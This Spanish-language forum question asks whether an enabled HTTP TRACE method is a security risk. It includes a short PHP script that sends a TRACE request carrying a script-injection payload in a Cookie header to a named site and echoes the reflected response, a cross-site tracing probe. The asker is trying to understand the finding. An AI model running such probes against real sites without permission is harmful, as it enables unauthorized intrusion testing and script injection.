Primero, ¿por qué se permite el método HTTP TRACE en un sitio web? ¿No es algo malo para el servidor web o la seguridad de sus usuarios?
Segundo, cuando ejecuto el siguiente script PHP a través de mi navegador ...
<?php
$service_port = getservbyname('www', 'tcp');
$host='vulnerabledomain.org';
$address = gethostbyname($host);
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) echo "socket_create() failed: reason: " . socket_strerror($socket) . "\n";
$result = socket_connect($socket, $address, $service_port);
if ($result < 0) echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n";
$in = "TRACE /t.php HTTP/1.1\r\n";
$in .= "Cookie: x=str<script>alert(\"XSS\");</script>str\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';
socket_write($socket, $in, strlen($in));
while ($out = socket_read($socket, 2048)) {
echo $out;
}
socket_close($socket);
?>
... Aparece una ventana de alerta de javascript con mi mensaje (XSS) que se encuentra en el encabezado de la cookie de solicitud, y algunos otros encabezados / información se muestran en la ventana del navegador. ¿No es este el signo de una vulnerabilidad particular en este sitio web? Me refiero a cosas como las vulnerabilidades XSS, XST, etc.